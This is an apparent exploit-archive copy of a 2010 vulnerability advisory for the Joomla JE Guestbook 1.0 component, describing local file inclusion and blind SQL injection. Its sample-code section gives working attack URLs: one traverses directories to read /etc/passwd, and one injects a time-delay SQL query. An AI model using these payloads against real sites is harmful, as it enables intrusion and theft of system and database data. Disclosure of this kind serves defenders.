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Joomla JE Guestbook 1.0 Local File Inclusion / SQL Injection

Joomla JE Guestbook 1.0 Local File Inclusion / SQL Injection
Posted Sep 30, 2010
Authored by Salvatore Fresta

The Joomla JE Guestbook component version 1.0 suffers from local file inclusion and remote blind SQL injection vulnerabilities.

tags | exploit, remote, local, vulnerability, sql injection, file inclusion
MD5 | 0660f3da265fae45d21c3218a1911169

Joomla JE Guestbook 1.0 Local File Inclusion / SQL Injection

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JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities

Name JE Guestbook
Vendor http://www.joomlaextensions.co.in
Versions Affected 1.0

Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-09-30

X. INDEX

I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX


I. ABOUT THE APPLICATION
________________________

JE Guest Component is an open source Joomla guestbook
component with spam protection and many customization
options.


II. DESCRIPTION
_______________

Some parameters are not properly sanitised.


III. ANALYSIS
_____________

Summary:

A) Local File Inclusion
B) Multiple Blind SQL Injection


A) Local File Inclusion
_______________________

Input passed to the "view" parameter in jeguestbook.php
(when option is set to com_jeguestbook) is not properly
verified before being used to include files. This can be
exploited to include arbitrary files from local
resources via directory traversal attacks and
URL-encoded NULL bytes.


B) Multiple Blind SQL Injection
_______________________________

Many parameters are not properly sanitised before being
used in SQL queries.This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Local File Inclusion

http://site/path/index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00


B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))


V. FIX
______

No fix.

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